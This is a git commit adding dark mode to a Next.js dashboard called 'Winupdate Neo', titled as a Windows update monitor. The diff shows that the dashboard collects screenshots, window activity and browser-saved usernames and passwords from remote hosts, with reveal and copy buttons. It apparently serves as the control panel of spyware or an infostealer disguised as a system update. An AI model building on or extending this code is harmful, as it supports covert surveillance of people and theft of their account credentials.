feat: dark mode

This commit is contained in:
feie9454 2025-06-29 09:21:29 +08:00
parent 2a0115ea17
commit 81d73cf17c
10 changed files with 139 additions and 190 deletions

View File

@ -1,74 +0,0 @@
export default function ApiTest() {
return (
<div className="p-8">
<h1 className="text-2xl font-bold mb-4">Winupdate Neo API </h1>
<div className="space-y-4">
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2">API </h2>
<ul className="space-y-1 text-sm">
<li> GET /api/hosts - </li>
<li> POST /api/hosts/[hostname]/screenshots - </li>
<li> GET /api/hosts/[hostname]/screenshots - </li>
<li> POST /api/hosts/[hostname]/credentials - </li>
<li> GET /api/hosts/[hostname]/credentials - </li>
<li> GET /api/hosts/[hostname]/time-distribution - </li>
<li> GET /api/version - </li>
<li> POST /api/upload/version - </li>
<li> GET /api/screenshots/[fileId] - </li>
<li> GET /api/downloads/[fileId] - </li>
</ul>
</div>
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2"></h2>
<ul className="space-y-1 text-sm">
<li> Host - </li>
<li> Record - </li>
<li> Window - </li>
<li> Screenshot - </li>
<li> Credential - </li>
<li> Password - </li>
<li> Version - </li>
<li> Nssm - NSSM </li>
</ul>
</div>
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2"></h2>
<ul className="space-y-1 text-sm">
<li> DATABASE_URL - </li>
<li> AUTH_USERNAME - </li>
<li> AUTH_PASSWORD - </li>
<li> PORT - </li>
</ul>
</div>
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2">MinIO </h2>
<ul className="space-y-1 text-sm">
<li> 服务器: 192.168.5.13:9000</li>
<li> Bucket: winupdate</li>
<li> 存储结构: 按类型////</li>
<li> 截图路径: screenshots/////</li>
<li> 版本路径: versions///</li>
<li> </li>
<li> </li>
</ul>
</div>
<div className="border p-4 rounded">
<h2 className="text-lg font-semibold mb-2"></h2>
<ul className="space-y-1 text-sm">
<li> </li>
<li> objectName </li>
<li> MinIO </li>
<li> </li>
<li> 访</li>
<li> </li>
</ul>
</div>
</div>
</div>
)
}

View File

@ -101,21 +101,21 @@ export default function DecodePage() {
return ( return (
<div className="max-w-4xl mx-auto p-6"> <div className="max-w-4xl mx-auto p-6">
<h1 className="text-2xl font-bold text-gray-800 mb-6">Base64 </h1> <h1 className="text-2xl font-bold text-gray-800 dark:text-white mb-6">Base64 </h1>
{/* 文件上传区域 */} {/* 文件上传区域 */}
<div className="mb-8"> <div className="mb-8">
<div className="border-2 border-dashed border-gray-300 rounded-lg p-6 text-center"> <div className="border-2 border-dashed border-gray-300 dark:border-gray-600 rounded-lg p-6 text-center">
<label className="block mb-4 text-sm font-medium text-gray-700"> <label className="block mb-4 text-sm font-medium text-gray-700 dark:text-gray-300">
</label> </label>
<input <input
type="file" type="file"
accept=".txt,.log" accept=".txt,.log"
onChange={handleFileChange} onChange={handleFileChange}
className="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4 className="block w-full text-sm text-gray-500 dark:text-gray-400 file:mr-4 file:py-2 file:px-4
file:rounded-md file:border-0 file:text-sm file:font-semibold file:rounded-md file:border-0 file:text-sm file:font-semibold
file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100 file:bg-blue-50 dark:file:bg-blue-900/50 file:text-blue-700 dark:file:text-blue-300 hover:file:bg-blue-100 dark:hover:file:bg-blue-800/50
cursor-pointer" cursor-pointer"
/> />
</div> </div>
@ -123,7 +123,7 @@ export default function DecodePage() {
{/* 错误提示 */} {/* 错误提示 */}
{errorMessage && ( {errorMessage && (
<div className="mb-6 p-4 bg-red-50 text-red-600 rounded-md"> <div className="mb-6 p-4 bg-red-50 dark:bg-red-900/50 text-red-600 dark:text-red-300 rounded-md">
{errorMessage} {errorMessage}
</div> </div>
)} )}
@ -131,20 +131,20 @@ export default function DecodePage() {
{/* 解码结果 */} {/* 解码结果 */}
{decodedLines.length > 0 && ( {decodedLines.length > 0 && (
<div className="space-y-2"> <div className="space-y-2">
<h2 className="text-lg font-semibold text-gray-700 mb-4"></h2> <h2 className="text-lg font-semibold text-gray-700 dark:text-gray-300 mb-4"></h2>
<div <div
ref={resultRef} ref={resultRef}
className="bg-white shadow rounded-lg overflow-auto max-h-[600px]" className="bg-white dark:bg-gray-800 shadow rounded-lg overflow-auto max-h-[600px]"
> >
<div className="divide-y divide-gray-100"> <div className="divide-y divide-gray-100 dark:divide-gray-700">
{decodedLines.map((line, index) => ( {decodedLines.map((line, index) => (
<div <div
key={index} key={index}
className={`py-1.5 px-4 hover:bg-gray-50 leading-tight ${ className={`py-1.5 px-4 hover:bg-gray-50 dark:hover:bg-gray-700 leading-tight ${
line.isError ? 'bg-red-50' : '' line.isError ? 'bg-red-50 dark:bg-red-900/30' : ''
}`} }`}
> >
<pre className="whitespace-pre-wrap font-mono text-sm text-gray-800"> <pre className="whitespace-pre-wrap font-mono text-sm text-gray-800 dark:text-gray-200">
{line.content} {line.content}
</pre> </pre>
</div> </div>

View File

@ -24,3 +24,8 @@ body {
color: var(--foreground); color: var(--foreground);
font-family: Arial, Helvetica, sans-serif; font-family: Arial, Helvetica, sans-serif;
} }
/* 暗黑模式过渡动画 */
* {
transition: background-color 0.2s ease, border-color 0.2s ease, color 0.2s ease;
}

View File

@ -104,22 +104,22 @@ export default function RecordDatePicker({ value, dailyCounts, onChange }: Recor
}; };
return ( return (
<div className="p-4 bg-white rounded shadow"> <div className="p-4 bg-white dark:bg-gray-800 rounded shadow">
{/* 月份切换头部 */} {/* 月份切换头部 */}
<div className="flex items-center justify-between mb-2"> <div className="flex items-center justify-between mb-2">
<button onClick={prevMonth} className="p-2 rounded hover:bg-gray-200"> <button onClick={prevMonth} className="p-2 rounded hover:bg-gray-200 dark:hover:bg-gray-700 text-gray-900 dark:text-white">
&lt; &lt;
</button> </button>
<div className="font-semibold text-lg"> <div className="font-semibold text-lg text-gray-900 dark:text-white">
{currentYear} - {(currentMonth + 1).toString().padStart(2, '0')} {currentYear} - {(currentMonth + 1).toString().padStart(2, '0')}
</div> </div>
<button onClick={nextMonth} className="p-2 rounded hover:bg-gray-200"> <button onClick={nextMonth} className="p-2 rounded hover:bg-gray-200 dark:hover:bg-gray-700 text-gray-900 dark:text-white">
&gt; &gt;
</button> </button>
</div> </div>
{/* 星期标题 */} {/* 星期标题 */}
<div className="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 mb-1"> <div className="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 dark:text-gray-400 mb-1">
{weekDays.map((day) => ( {weekDays.map((day) => (
<div key={day}>{day}</div> <div key={day}>{day}</div>
))} ))}

View File

@ -150,7 +150,7 @@ export default function TimelineSlider({
left: `${startPercent}%`, left: `${startPercent}%`,
width: `${widthPercent}%`, width: `${widthPercent}%`,
height: '100%', height: '100%',
backgroundColor: segment.active ? '#4ADE80' : '#E5E7EB', backgroundColor: segment.active ? '#4ADE80' : 'transparent',
borderLeft: '1px solid #E5E7EB', borderLeft: '1px solid #E5E7EB',
borderRight: '1px solid #E5E7EB', borderRight: '1px solid #E5E7EB',
}; };
@ -178,7 +178,7 @@ export default function TimelineSlider({
> >
{/* 底部轨道 */} {/* 底部轨道 */}
<div <div
className="absolute top-1/2 left-0 right-0 h-1.5 bg-gray-200 transform -translate-y-1/2 rounded-sm" className="absolute top-1/2 left-0 right-0 h-1.5 bg-gray-200 dark:bg-gray-700 transform -translate-y-1/2 rounded-sm"
> >
{/* Segments 模式 */} {/* Segments 模式 */}
{mode === 'segments' && segments.map((segment, index) => ( {mode === 'segments' && segments.map((segment, index) => (
@ -209,7 +209,7 @@ export default function TimelineSlider({
> >
{/* Tooltip */} {/* Tooltip */}
{showTooltip && ( {showTooltip && (
<div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 px-2 py-1 bg-black bg-opacity-70 text-white text-xs rounded whitespace-nowrap"> <div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 px-2 py-1 bg-black dark:bg-gray-800 bg-opacity-70 dark:bg-opacity-90 text-white text-xs rounded whitespace-nowrap">
{formattedValue} {formattedValue}
</div> </div>
)} )}

View File

@ -504,38 +504,38 @@ export default function HostDetail() {
}, [autoPlay, allImagesLoaded, autoPlaySpeed, startAutoPlayTimer]); }, [autoPlay, allImagesLoaded, autoPlaySpeed, startAutoPlayTimer]);
return ( return (
<div className="min-h-screen bg-gray-50 overflow-x-hidden"> <div className="min-h-screen bg-gray-50 dark:bg-gray-900 overflow-x-hidden">
<div className="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8"> <div className="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
{/* 头部导航 */} {/* 头部导航 */}
<div className="flex items-center justify-between mb-8"> <div className="flex items-center justify-between mb-8">
<div> <div>
<button <button
onClick={() => router.back()} onClick={() => router.back()}
className="inline-flex items-center text-gray-600 hover:text-gray-900" className="inline-flex items-center text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-white"
> >
<ArrowLeft className="h-5 w-5 mr-2" /> <ArrowLeft className="h-5 w-5 mr-2" />
</button> </button>
<h1 className="text-3xl font-semibold text-gray-900 mt-2"> <h1 className="text-3xl font-semibold text-gray-900 dark:text-white mt-2">
{decodeURI(hostname)} {decodeURI(hostname)}
</h1> </h1>
</div> </div>
{lastUpdate && ( {lastUpdate && (
<div className="text-sm text-gray-500"> <div className="text-sm text-gray-500 dark:text-gray-400">
: {formatDate(lastUpdate)} : {formatDate(lastUpdate)}
</div> </div>
)} )}
</div> </div>
{/* 选项卡导航 */} {/* 选项卡导航 */}
<div className="mb-6 border-b border-gray-200"> <div className="mb-6 border-b border-gray-200 dark:border-gray-700">
<nav className="-mb-px flex space-x-8"> <nav className="-mb-px flex space-x-8">
<button <button
onClick={() => setActiveTab('screenshots')} onClick={() => setActiveTab('screenshots')}
className={`py-2 px-1 border-b-2 font-medium text-sm ${ className={`py-2 px-1 border-b-2 font-medium text-sm ${
activeTab === 'screenshots' activeTab === 'screenshots'
? 'border-blue-600 text-blue-600' ? 'border-blue-600 text-blue-600'
: 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300' : 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
}`} }`}
> >
线 线
@ -545,7 +545,7 @@ export default function HostDetail() {
className={`py-2 px-1 border-b-2 font-medium text-sm ${ className={`py-2 px-1 border-b-2 font-medium text-sm ${
activeTab === 'credentials' activeTab === 'credentials'
? 'border-blue-600 text-blue-600' ? 'border-blue-600 text-blue-600'
: 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300' : 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
}`} }`}
> >
@ -559,12 +559,12 @@ export default function HostDetail() {
{/* 小时分布滑块(时间分布) */} {/* 小时分布滑块(时间分布) */}
<div className="mb-8"> <div className="mb-8">
<div className="flex justify-between items-center mb-4"> <div className="flex justify-between items-center mb-4">
<h2 className="text-lg font-medium text-gray-900"></h2> <h2 className="text-lg font-medium text-gray-900 dark:text-white"></h2>
<button <button
onClick={fetchTimeDistribution} onClick={fetchTimeDistribution}
className="p-2 rounded hover:bg-gray-100" className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
> >
<RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingDistribution ? 'animate-spin' : ''}`} /> <RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingDistribution ? 'animate-spin' : ''}`} />
</button> </button>
</div> </div>
@ -586,7 +586,7 @@ export default function HostDetail() {
/> />
</div> </div>
) : ( ) : (
<div className="text-gray-500 mt-4">...</div> <div className="text-gray-500 dark:text-gray-400 mt-4">...</div>
)} )}
</div> </div>
@ -594,15 +594,15 @@ export default function HostDetail() {
{showDetailTimeline && ( {showDetailTimeline && (
<div className="mb-8"> <div className="mb-8">
<div className="flex justify-between items-center mb-4"> <div className="flex justify-between items-center mb-4">
<h2 className="text-lg font-medium text-gray-900"></h2> <h2 className="text-lg font-medium text-gray-900 dark:text-white"></h2>
<button <button
onClick={() => { onClick={() => {
const selectedSec = Math.floor(hourlySliderValue / 3600000) * 3600; const selectedSec = Math.floor(hourlySliderValue / 3600000) * 3600;
fetchHourlyRecords(selectedSec, selectedSec + 3600); fetchHourlyRecords(selectedSec, selectedSec + 3600);
}} }}
className="p-2 rounded hover:bg-gray-100" className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
> >
<RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingRecords ? 'animate-spin' : ''}`} /> <RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingRecords ? 'animate-spin' : ''}`} />
</button> </button>
</div> </div>
@ -616,14 +616,14 @@ export default function HostDetail() {
onChange={onDetailedSliderChange} onChange={onDetailedSliderChange}
/> />
) : ( ) : (
<div className="text-gray-500">...</div> <div className="text-gray-500 dark:text-gray-400">...</div>
)} )}
</div> </div>
)} )}
{/* 图片预览区域及控制按钮 */} {/* 图片预览区域及控制按钮 */}
{selectedRecord && ( {selectedRecord && (
<div className="bg-white rounded-lg shadow-sm p-6"> <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
{/* 图片预览区域 */} {/* 图片预览区域 */}
{selectedRecord.screenshots.map((screenshot, sIndex) => ( {selectedRecord.screenshots.map((screenshot, sIndex) => (
<div key={sIndex} className="relative mb-6"> <div key={sIndex} className="relative mb-6">
@ -640,7 +640,7 @@ export default function HostDetail() {
</div> </div>
{/* 图片说明 */} {/* 图片说明 */}
<div className="absolute bottom-4 left-4 bg-black bg-opacity-60 text-white px-2 py-1 rounded"> <div className="absolute bottom-4 left-4 bg-black dark:bg-gray-900 bg-opacity-60 dark:bg-opacity-80 text-white px-2 py-1 rounded">
<div className="text-sm">{screenshot.monitorName}</div> <div className="text-sm">{screenshot.monitorName}</div>
<div className="text-xs"> <div className="text-xs">
{new Date(selectedRecord.timestamp).toLocaleString()} {new Date(selectedRecord.timestamp).toLocaleString()}
@ -666,17 +666,17 @@ export default function HostDetail() {
{/* 控制按钮区域 */} {/* 控制按钮区域 */}
<div className="flex flex-col sm:flex-row items-center justify-center mb-4 space-y-2 sm:space-y-0 sm:space-x-3"> <div className="flex flex-col sm:flex-row items-center justify-center mb-4 space-y-2 sm:space-y-0 sm:space-x-3">
<label className="flex items-center space-x-1"> <label className="flex items-center space-x-1">
<span className="text-sm text-gray-600"></span> <span className="text-sm text-gray-600 dark:text-gray-400"></span>
<input <input
type="number" type="number"
value={autoPlaySpeed} value={autoPlaySpeed}
onChange={(e) => setAutoPlaySpeed(Number(e.target.value))} onChange={(e) => setAutoPlaySpeed(Number(e.target.value))}
className="w-16 text-sm px-1 py-1 border rounded focus:outline-none" className="w-16 text-sm px-1 py-1 border dark:border-gray-600 rounded focus:outline-none bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
min="100" min="100"
max="2000" max="2000"
step="100" step="100"
/> />
<span className="text-sm text-gray-600">ms</span> <span className="text-sm text-gray-600 dark:text-gray-400">ms</span>
</label> </label>
<button <button
onClick={toggleAutoPlay} onClick={toggleAutoPlay}
@ -688,19 +688,19 @@ export default function HostDetail() {
{/* 窗口信息 */} {/* 窗口信息 */}
<div className="w-full"> <div className="w-full">
<h3 className="text-lg font-medium text-gray-900 mb-3"></h3> <h3 className="text-lg font-medium text-gray-900 dark:text-white mb-3"></h3>
<div className="bg-gray-50 rounded-md p-4"> <div className="bg-gray-50 dark:bg-gray-700 rounded-md p-4">
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4"> <div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
{selectedRecord.windows.map((window, index) => ( {selectedRecord.windows.map((window, index) => (
<div key={index} className="p-4 bg-white rounded-md shadow-sm"> <div key={index} className="p-4 bg-white dark:bg-gray-800 rounded-md shadow-sm">
<div className="space-y-2"> <div className="space-y-2">
<div className="font-medium text-gray-900"> <div className="font-medium text-gray-900 dark:text-white">
{window.title} {window.title}
</div> </div>
<div className="text-sm text-gray-500 break-all"> <div className="text-sm text-gray-500 dark:text-gray-400 break-all">
{window.path} {window.path}
</div> </div>
<div className="text-sm flex items-center text-gray-600"> <div className="text-sm flex items-center text-gray-600 dark:text-gray-400">
: {formatMemory(window.memory)} : {formatMemory(window.memory)}
</div> </div>
</div> </div>
@ -716,9 +716,9 @@ export default function HostDetail() {
{/* 凭据信息选项卡 */} {/* 凭据信息选项卡 */}
{activeTab === 'credentials' && ( {activeTab === 'credentials' && (
<div className="bg-white rounded-lg shadow-sm p-6"> <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
<div className="flex items-center justify-between mb-6"> <div className="flex items-center justify-between mb-6">
<h2 className="text-xl font-medium text-gray-900"></h2> <h2 className="text-xl font-medium text-gray-900 dark:text-white"></h2>
<div className="flex space-x-2"> <div className="flex space-x-2">
<button <button
onClick={fetchCredentials} onClick={fetchCredentials}
@ -735,40 +735,40 @@ export default function HostDetail() {
<div className="flex justify-center py-12"> <div className="flex justify-center py-12">
<div className="animate-pulse flex flex-col items-center"> <div className="animate-pulse flex flex-col items-center">
<Loader2 className="h-8 w-8 text-blue-600 animate-spin" /> <Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
<p className="mt-2 text-gray-500">...</p> <p className="mt-2 text-gray-500 dark:text-gray-400">...</p>
</div> </div>
</div> </div>
) : credentialsByUser.length === 0 ? ( ) : credentialsByUser.length === 0 ? (
<div className="py-12 flex flex-col items-center justify-center"> <div className="py-12 flex flex-col items-center justify-center">
<ShieldAlert className="h-12 w-12 text-gray-400 mb-3" /> <ShieldAlert className="h-12 w-12 text-gray-400 mb-3" />
<p className="text-gray-500 mb-1"></p> <p className="text-gray-500 dark:text-gray-400 mb-1"></p>
<p className="text-sm text-gray-400"></p> <p className="text-sm text-gray-400 dark:text-gray-500"></p>
</div> </div>
) : ( ) : (
<div className="space-y-6"> <div className="space-y-6">
{credentialsByUser.map((userGroup, index) => ( {credentialsByUser.map((userGroup, index) => (
<div key={index} className="border border-gray-200 rounded-md overflow-hidden"> <div key={index} className="border border-gray-200 dark:border-gray-700 rounded-md overflow-hidden">
{/* 用户信息头部 */} {/* 用户信息头部 */}
<div className="bg-gray-50 px-4 py-3"> <div className="bg-gray-50 dark:bg-gray-700 px-4 py-3">
<div className="flex items-center justify-between"> <div className="flex items-center justify-between">
<div <div
className="flex items-center cursor-pointer" className="flex items-center cursor-pointer"
onClick={() => toggleUserExpanded(userGroup.username)} onClick={() => toggleUserExpanded(userGroup.username)}
> >
<User className="h-5 w-5 text-gray-500 mr-2" /> <User className="h-5 w-5 text-gray-500 dark:text-gray-400 mr-2" />
<h3 className="font-medium text-gray-900">{userGroup.username}</h3> <h3 className="font-medium text-gray-900 dark:text-white">{userGroup.username}</h3>
<div className="ml-3 text-sm text-gray-500"> <div className="ml-3 text-sm text-gray-500 dark:text-gray-400">
({userGroup.browsers.length} , {userGroup.total} ) ({userGroup.browsers.length} , {userGroup.total} )
</div> </div>
<ChevronDown <ChevronDown
className={`h-5 w-5 text-gray-500 ml-2 transition-transform duration-200 ${ className={`h-5 w-5 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
expandedUsers.includes(userGroup.username) ? 'rotate-180' : '' expandedUsers.includes(userGroup.username) ? 'rotate-180' : ''
}`} }`}
/> />
</div> </div>
{userGroup.lastSyncTime && ( {userGroup.lastSyncTime && (
<div className="text-xs text-gray-500"> <div className="text-xs text-gray-500 dark:text-gray-400">
: {formatDate(userGroup.lastSyncTime, 'short')} : {formatDate(userGroup.lastSyncTime, 'short')}
</div> </div>
)} )}
@ -777,11 +777,11 @@ export default function HostDetail() {
{/* 用户凭据内容 */} {/* 用户凭据内容 */}
{expandedUsers.includes(userGroup.username) && ( {expandedUsers.includes(userGroup.username) && (
<div className="divide-y divide-gray-100"> <div className="divide-y divide-gray-100 dark:divide-gray-600">
{userGroup.browsers.map((browser) => ( {userGroup.browsers.map((browser) => (
<div <div
key={`${userGroup.username}-${browser.name}`} key={`${userGroup.username}-${browser.name}`}
className="px-4 py-3 hover:bg-gray-50" className="px-4 py-3 hover:bg-gray-50 dark:hover:bg-gray-700"
> >
{/* 浏览器标题 */} {/* 浏览器标题 */}
<div <div
@ -789,14 +789,14 @@ export default function HostDetail() {
onClick={() => toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)} onClick={() => toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)}
> >
<div className="flex items-center"> <div className="flex items-center">
<Globe className="h-4 w-4 text-gray-500 mr-2" /> <Globe className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
<span className="font-medium text-gray-800">{browser.name}</span> <span className="font-medium text-gray-800 dark:text-gray-200">{browser.name}</span>
<span className="ml-2 text-sm text-gray-500"> <span className="ml-2 text-sm text-gray-500 dark:text-gray-400">
({browser.credentials.length} ) ({browser.credentials.length} )
</span> </span>
</div> </div>
<ChevronDown <ChevronDown
className={`h-4 w-4 text-gray-500 ml-2 transition-transform duration-200 ${ className={`h-4 w-4 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) ? 'rotate-180' : '' expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) ? 'rotate-180' : ''
}`} }`}
/> />
@ -808,21 +808,21 @@ export default function HostDetail() {
{browser.credentials.map((cred) => ( {browser.credentials.map((cred) => (
<div <div
key={`${userGroup.username}-${browser.name}-${cred._id}`} key={`${userGroup.username}-${browser.name}-${cred._id}`}
className="border border-gray-200 rounded-md overflow-hidden" className="border border-gray-200 dark:border-gray-600 rounded-md overflow-hidden"
> >
{/* 凭据网站头部 */} {/* 凭据网站头部 */}
<div <div
className="bg-gray-50 px-3 py-2 flex items-center justify-between cursor-pointer" className="bg-gray-50 dark:bg-gray-700 px-3 py-2 flex items-center justify-between cursor-pointer"
onClick={() => toggleCredentialExpanded(cred._id)} onClick={() => toggleCredentialExpanded(cred._id)}
> >
<div className="flex items-center"> <div className="flex items-center">
<Link className="h-4 w-4 text-gray-500 mr-2" /> <Link className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
<div className="text-sm font-medium text-gray-900 truncate max-w-md"> <div className="text-sm font-medium text-gray-900 dark:text-white truncate max-w-md">
{cred.url} {cred.url}
</div> </div>
</div> </div>
<ChevronDown <ChevronDown
className={`h-4 w-4 text-gray-500 transition-transform duration-200 ${ className={`h-4 w-4 text-gray-500 dark:text-gray-400 transition-transform duration-200 ${
expandedCredentials.includes(cred._id) ? 'rotate-180' : '' expandedCredentials.includes(cred._id) ? 'rotate-180' : ''
}`} }`}
/> />
@ -830,17 +830,17 @@ export default function HostDetail() {
{/* 凭据详情 */} {/* 凭据详情 */}
{expandedCredentials.includes(cred._id) && ( {expandedCredentials.includes(cred._id) && (
<div className="bg-white px-3 py-2"> <div className="bg-white dark:bg-gray-800 px-3 py-2">
<div className="grid grid-cols-1 gap-2 sm:grid-cols-2"> <div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
<div className="flex items-center"> <div className="flex items-center">
<span className="text-sm text-gray-500 w-16">:</span> <span className="text-sm text-gray-500 dark:text-gray-400 w-16">:</span>
<span className="text-sm font-medium ml-2">{cred.login}</span> <span className="text-sm font-medium ml-2 text-gray-900 dark:text-white">{cred.login}</span>
</div> </div>
<div className="flex flex-col"> <div className="flex flex-col">
<div className="flex items-center mb-1"> <div className="flex items-center mb-1">
<span className="text-sm text-gray-500 w-16">:</span> <span className="text-sm text-gray-500 dark:text-gray-400 w-16">:</span>
<span className="text-xs bg-gray-100 text-gray-600 rounded px-1"> <span className="text-xs bg-gray-100 dark:bg-gray-600 text-gray-600 dark:text-gray-300 rounded px-1">
{cred.passwords.length} {cred.passwords.length}
</span> </span>
</div> </div>
@ -851,12 +851,12 @@ export default function HostDetail() {
key={pwdIndex} key={pwdIndex}
className="flex items-center group relative" className="flex items-center group relative"
> >
<span className="text-xs text-gray-400 w-24 flex-shrink-0"> <span className="text-xs text-gray-400 dark:text-gray-500 w-24 flex-shrink-0">
{formatDate(pwd.timestamp, 'short')} {formatDate(pwd.timestamp, 'short')}
</span> </span>
<div className="flex-1 flex items-center"> <div className="flex-1 flex items-center">
<span <span
className="text-sm font-mono bg-gray-50 px-2 py-0.5 rounded flex-1 cursor-pointer" className="text-sm font-mono bg-gray-50 dark:bg-gray-700 text-gray-900 dark:text-white px-2 py-0.5 rounded flex-1 cursor-pointer"
onClick={() => onClick={() =>
revealedPasswords.includes(`${cred._id}-${pwdIndex}`) revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
? null ? null
@ -870,7 +870,7 @@ export default function HostDetail() {
</span> </span>
<button <button
onClick={() => copyToClipboard(pwd.value)} onClick={() => copyToClipboard(pwd.value)}
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 hover:text-gray-700" className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 dark:text-gray-500 hover:text-gray-700 dark:hover:text-gray-300"
> >
<Clipboard className="h-4 w-4" /> <Clipboard className="h-4 w-4" />
</button> </button>

View File

@ -13,8 +13,8 @@ const geistMono = Geist_Mono({
}); });
export const metadata: Metadata = { export const metadata: Metadata = {
title: "Create Next App", title: "屏幕截图监控系统",
description: "Generated by create next app", description: "Windows更新监控系统",
}; };
export default function RootLayout({ export default function RootLayout({
@ -23,9 +23,9 @@ export default function RootLayout({
children: React.ReactNode; children: React.ReactNode;
}>) { }>) {
return ( return (
<html lang="en"> <html lang="zh-CN">
<body <body
className={`${geistSans.variable} ${geistMono.variable} antialiased`} className={`${geistSans.variable} ${geistMono.variable} antialiased bg-white dark:bg-gray-900 text-gray-900 dark:text-white`}
> >
{children} {children}
</body> </body>

View File

@ -48,33 +48,33 @@ export default function Home() {
}, []); }, []);
return ( return (
<div className="min-h-screen bg-gray-50"> <div className="min-h-screen bg-gray-50 dark:bg-gray-900">
<div className="max-w-7xl mx-auto py-6 sm:px-6 lg:px-8"> <div className="max-w-7xl mx-auto py-6 sm:px-6 lg:px-8">
<div className="px-4 py-6 sm:px-0"> <div className="px-4 py-6 sm:px-0">
<h1 className="text-3xl font-semibold text-gray-900 mb-8"></h1> <h1 className="text-3xl font-semibold text-gray-900 dark:text-white mb-8"></h1>
{/* 主机列表卡片网格 */} {/* 主机列表卡片网格 */}
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6"> <div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
{hosts.map((host) => ( {hosts.map((host) => (
<div <div
key={host.hostname} key={host.hostname}
className="bg-white shadow-sm rounded-lg overflow-hidden hover:shadow-md transition-shadow cursor-pointer" className="bg-white dark:bg-gray-800 shadow-sm rounded-lg overflow-hidden hover:shadow-md dark:hover:shadow-lg transition-shadow cursor-pointer"
onClick={() => navigateToHost(host.hostname)} onClick={() => navigateToHost(host.hostname)}
> >
<div className="px-4 py-5 sm:p-6"> <div className="px-4 py-5 sm:p-6">
<div className="flex items-center justify-between"> <div className="flex items-center justify-between">
<div> <div>
<h3 className="text-lg font-medium text-gray-900"> <h3 className="text-lg font-medium text-gray-900 dark:text-white">
{decodeURI(host.hostname)} {decodeURI(host.hostname)}
</h3> </h3>
<p className="mt-1 text-sm text-gray-500"> <p className="mt-1 text-sm text-gray-500 dark:text-gray-400">
: {formatDate(host.lastUpdate)} : {formatDate(host.lastUpdate)}
</p> </p>
</div> </div>
<div className="flex items-center"> <div className="flex items-center">
<div <div
className={`h-3 w-3 rounded-full ${ className={`h-3 w-3 rounded-full ${
isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300' isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300 dark:bg-gray-600'
}`} }`}
></div> ></div>
</div> </div>
@ -87,22 +87,22 @@ export default function Home() {
{/* 加载状态 */} {/* 加载状态 */}
{loading && ( {loading && (
<div className="flex justify-center items-center mt-8"> <div className="flex justify-center items-center mt-8">
<div className="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900"></div> <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900 dark:border-white"></div>
</div> </div>
)} )}
{/* 错误提示 */} {/* 错误提示 */}
{error && ( {error && (
<div className="mt-8 bg-red-50 p-4 rounded-md"> <div className="mt-8 bg-red-50 dark:bg-red-900/50 p-4 rounded-md">
<div className="flex"> <div className="flex">
<div className="flex-shrink-0"> <div className="flex-shrink-0">
<XCircle className="h-5 w-5 text-red-400" /> <XCircle className="h-5 w-5 text-red-400 dark:text-red-300" />
</div> </div>
<div className="ml-3"> <div className="ml-3">
<h3 className="text-sm font-medium text-red-800"> <h3 className="text-sm font-medium text-red-800 dark:text-red-200">
</h3> </h3>
<div className="mt-2 text-sm text-red-700"> <div className="mt-2 text-sm text-red-700 dark:text-red-300">
<p>{error}</p> <p>{error}</p>
</div> </div>
</div> </div>

View File

@ -100,69 +100,69 @@ export default function UploadPage() {
return ( return (
<div className="max-w-3xl mx-auto p-6"> <div className="max-w-3xl mx-auto p-6">
<h1 className="text-3xl font-bold text-gray-800 mb-8"></h1> <h1 className="text-3xl font-bold text-gray-800 dark:text-white mb-8"></h1>
{/* 当前版本信息卡片 */} {/* 当前版本信息卡片 */}
<div className="bg-white rounded-lg shadow-md mb-8 overflow-hidden"> <div className="bg-white dark:bg-gray-800 rounded-lg shadow-md mb-8 overflow-hidden">
